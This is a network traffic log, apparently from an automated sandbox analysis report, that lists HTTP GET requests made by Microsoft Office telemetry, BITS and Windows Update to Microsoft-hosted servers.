Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EnhTzm5MnU6sXfe&MD=KPCKz7gC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
